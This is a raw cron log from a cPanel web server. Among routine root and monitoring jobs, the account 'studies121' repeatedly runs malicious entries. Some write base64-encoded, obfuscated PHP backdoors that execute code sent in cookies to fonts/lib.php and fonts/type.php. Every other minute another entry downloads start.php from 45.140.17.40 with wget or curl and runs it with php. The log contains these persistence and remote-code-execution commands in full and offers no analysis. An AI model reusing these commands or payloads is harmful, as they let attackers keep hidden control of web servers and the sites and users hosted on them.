Sep  9 08:12:01 ip-184-168-122-23 CROND[10739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:13:01 ip-184-168-122-23 CROND[10948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:13:01 ip-184-168-122-23 CROND[10950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:13:01 ip-184-168-122-23 CROND[10952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:13:01 ip-184-168-122-23 CROND[10951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:14:01 ip-184-168-122-23 CROND[11053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:14:01 ip-184-168-122-23 CROND[11055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:14:01 ip-184-168-122-23 CROND[11057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:14:01 ip-184-168-122-23 CROND[11058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:14:01 ip-184-168-122-23 CROND[11059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:15:02 ip-184-168-122-23 CROND[11162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:15:02 ip-184-168-122-23 CROND[11163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:15:02 ip-184-168-122-23 CROND[11165]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 08:15:02 ip-184-168-122-23 CROND[11166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:15:02 ip-184-168-122-23 CROND[11170]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:15:02 ip-184-168-122-23 CROND[11171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:15:02 ip-184-168-122-23 CROND[11169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:16:01 ip-184-168-122-23 CROND[11255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:16:01 ip-184-168-122-23 CROND[11257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:16:01 ip-184-168-122-23 CROND[11259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:16:01 ip-184-168-122-23 CROND[11258]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 08:16:01 ip-184-168-122-23 CROND[11260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:16:01 ip-184-168-122-23 CROND[11261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:17:01 ip-184-168-122-23 CROND[11428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:17:01 ip-184-168-122-23 CROND[11430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:17:01 ip-184-168-122-23 CROND[11429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:17:01 ip-184-168-122-23 CROND[11431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:18:01 ip-184-168-122-23 CROND[11529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:18:01 ip-184-168-122-23 CROND[11531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:18:01 ip-184-168-122-23 CROND[11532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:18:01 ip-184-168-122-23 CROND[11534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:18:01 ip-184-168-122-23 CROND[11533]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:19:01 ip-184-168-122-23 CROND[11643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:19:01 ip-184-168-122-23 CROND[11644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:19:01 ip-184-168-122-23 CROND[11646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:19:01 ip-184-168-122-23 CROND[11647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:20:01 ip-184-168-122-23 CROND[11752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:20:01 ip-184-168-122-23 CROND[11754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:20:01 ip-184-168-122-23 CROND[11756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:20:01 ip-184-168-122-23 CROND[11755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:20:01 ip-184-168-122-23 CROND[11761]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:20:01 ip-184-168-122-23 CROND[11759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:20:01 ip-184-168-122-23 CROND[11758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:20:01 ip-184-168-122-23 CROND[11757]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 08:20:01 ip-184-168-122-23 CROND[11760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:21:01 ip-184-168-122-23 CROND[11878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:21:01 ip-184-168-122-23 CROND[11880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:21:01 ip-184-168-122-23 CROND[11882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:21:01 ip-184-168-122-23 CROND[11883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:22:01 ip-184-168-122-23 CROND[12061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:22:01 ip-184-168-122-23 CROND[12064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:22:01 ip-184-168-122-23 CROND[12065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:22:02 ip-184-168-122-23 CROND[12066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:22:02 ip-184-168-122-23 CROND[12068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:23:01 ip-184-168-122-23 CROND[12160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:23:01 ip-184-168-122-23 CROND[12162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:23:01 ip-184-168-122-23 CROND[12163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:23:01 ip-184-168-122-23 CROND[12164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:24:01 ip-184-168-122-23 CROND[12285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:24:01 ip-184-168-122-23 CROND[12287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:24:01 ip-184-168-122-23 CROND[12288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:24:01 ip-184-168-122-23 CROND[12289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
